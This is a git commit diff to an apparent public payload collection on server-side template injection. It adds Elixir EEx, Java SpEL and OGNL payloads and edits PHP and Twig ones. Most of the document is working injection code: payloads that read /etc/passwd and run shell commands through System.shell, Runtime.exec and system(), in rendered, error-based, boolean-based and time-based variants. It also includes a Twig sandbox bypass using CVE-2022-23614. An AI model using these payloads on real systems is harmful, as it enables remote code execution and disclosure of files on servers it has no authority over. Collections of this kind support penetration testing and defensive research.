SSTI:
- Added Elixir/EEx payloads - Added OGNL payloads - Clarified SpEL payloads and details - Fixed PHP Error-Based payloads - Added Twig Error-Based payload for CVE-2022-23614 Insecure Deserialization: - Improved Python payloads
This commit is contained in:
66
Server Side Template Injection/Elixir.md
Normal file
66
Server Side Template Injection/Elixir.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# Server Side Template Injection - Elixir
|
||||
|
||||
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Templating Libraries](#templating-libraries)
|
||||
- [Universal Payloads](#universal-payloads)
|
||||
- [EEx](#eex)
|
||||
- [EEx - Basic injections](#eex---basic-injections)
|
||||
- [EEx - Retrieve /etc/passwd](#eex---retrieve-etcpasswd)
|
||||
- [EEx - Remote Command execution](#eex---remote-command-execution)
|
||||
- [References](#references)
|
||||
|
||||
## Templating Libraries
|
||||
|
||||
| Template Name | Payload Format |
|
||||
|---------------|----------------|
|
||||
| EEx | `<%= %>` |
|
||||
| LEEx | `<%= %>` |
|
||||
| HEEx | `<%= %>` |
|
||||
|
||||
## Universal Payloads
|
||||
|
||||
Generic code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.
|
||||
|
||||
By default, only EEx can render templates from string, but it is possible to use LEEx and HEEx as replacement engines for EEx.
|
||||
|
||||
To use these payloads, wrap them in the appropriate tag.
|
||||
|
||||
```erlang
|
||||
elem(System.shell("id"), 0) # Rendered RCE
|
||||
[1, 2][elem(System.shell("id"), 0)] # Error-Based RCE
|
||||
1/((elem(System.shell("id"), 1) == 0)&&1||0) # Boolean-Based RCE
|
||||
elem(System.shell("id && sleep 5"), 0) # Time-Based RCE
|
||||
```
|
||||
|
||||
## EEx
|
||||
|
||||
[Official website](https://hexdocs.pm/eex/1.19.5/EEx.html)
|
||||
> EEx stands for Embedded Elixir.
|
||||
|
||||
### EEx - Basic injections
|
||||
|
||||
```erlang
|
||||
<%= 7 * 7 %>
|
||||
```
|
||||
|
||||
### EEx - Retrieve /etc/passwd
|
||||
|
||||
```erlang
|
||||
<%= File.read!("/etc/passwd") %>
|
||||
```
|
||||
|
||||
### EEx - Remote Command execution
|
||||
|
||||
```erlang
|
||||
<%= elem(System.shell("id"), 0) %> # Rendered RCE
|
||||
<%= [1, 2][elem(System.shell("id"), 0)] %> # Error-Based RCE
|
||||
<%= 1/((elem(System.shell("id"), 1) == 0)&&1||0) %> # Boolean-Based RCE
|
||||
<%= elem(System.shell("id && sleep 5"), 0) %> # Time-Based RCE
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
|
||||
@@ -35,6 +35,9 @@
|
||||
- [SpEL - DNS Exfiltration](#spel---dns-exfiltration)
|
||||
- [SpEL - Session Attributes](#spel---session-attributes)
|
||||
- [SpEL - Command Execution](#spel---command-execution)
|
||||
- [Object-Graph Navigation Language](#object-graph-navigation-language)
|
||||
- [OGNL - Basic Injection](#ognl---basic-injection)
|
||||
- [OGNL - Command Execution](#ognl---command-execution)
|
||||
- [References](#references)
|
||||
|
||||
## Templating Libraries
|
||||
@@ -46,7 +49,7 @@
|
||||
| Groovy | `${ }` |
|
||||
| Jinjava | `{{ }}` |
|
||||
| Pebble | `{{ }}` |
|
||||
| Spring | `*{ }` |
|
||||
| SpEL | `*{ }`, `#{ }`, `${ }` |
|
||||
| Thymeleaf | `[[ ]]` |
|
||||
| Velocity | `#set($X="") $X` |
|
||||
|
||||
@@ -367,9 +370,12 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val
|
||||
|
||||
### SpEL - Basic Injection
|
||||
|
||||
> SpEL has built-in templating system using #{ }, but SpEL is also commonly used for interpolation using ${ }
|
||||
|
||||
```java
|
||||
${7*7}
|
||||
${'patt'.toString().replace('a', 'x')}
|
||||
${T(java.lang.Integer).valueOf('1')}
|
||||
```
|
||||
|
||||
### SpEL - Retrieve Environment Variables
|
||||
@@ -440,6 +446,65 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
|
||||
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
|
||||
${request.getAttribute("a")}
|
||||
```
|
||||
- Error-Based payload:
|
||||
|
||||
```java
|
||||
${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))}
|
||||
```
|
||||
|
||||
- Boolean-Based payload:
|
||||
|
||||
```java
|
||||
${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""}
|
||||
```
|
||||
|
||||
- Time-Based payload:
|
||||
|
||||
```java
|
||||
${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()}
|
||||
```
|
||||
|
||||
## Object-Graph Navigation Language
|
||||
|
||||
[Official website](https://commons.apache.org/dormant/commons-ognl/)
|
||||
|
||||
> OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.
|
||||
|
||||
### OGNL - Basic Injection
|
||||
|
||||
> OGNL can be used with different tags like ${ }
|
||||
|
||||
```java
|
||||
7*7
|
||||
'patt'.toString().replace('a', 'x')
|
||||
@java.lang.Integer@valueOf('1')
|
||||
```
|
||||
|
||||
### OGNL - Command Execution
|
||||
|
||||
Rendered:
|
||||
|
||||
```java
|
||||
new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())
|
||||
```
|
||||
|
||||
Error-Based:
|
||||
|
||||
```java
|
||||
(new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0
|
||||
```
|
||||
|
||||
Boolean-Based:
|
||||
|
||||
```java
|
||||
1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+""
|
||||
```
|
||||
|
||||
Time-Based:
|
||||
|
||||
```java
|
||||
((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -47,9 +47,7 @@ system('id')
|
||||
|
||||
// Error-Based RCE
|
||||
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
|
||||
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
|
||||
include(join("", ["Y:/A:/", shell_exec('id')]))
|
||||
join("", ["xx", shell_exec('id')])()
|
||||
call_user_func(join("", ["xx", shell_exec('id')]))
|
||||
|
||||
// Boolean-Based RCE
|
||||
1 / (pclose(popen("id", "wb")) == 0)
|
||||
@@ -163,6 +161,8 @@ $output = $twig > render (
|
||||
|
||||
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
|
||||
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
|
||||
|
||||
{% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%} // Error-Based RCE with sandbox bypass using CVE-2022-23614
|
||||
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user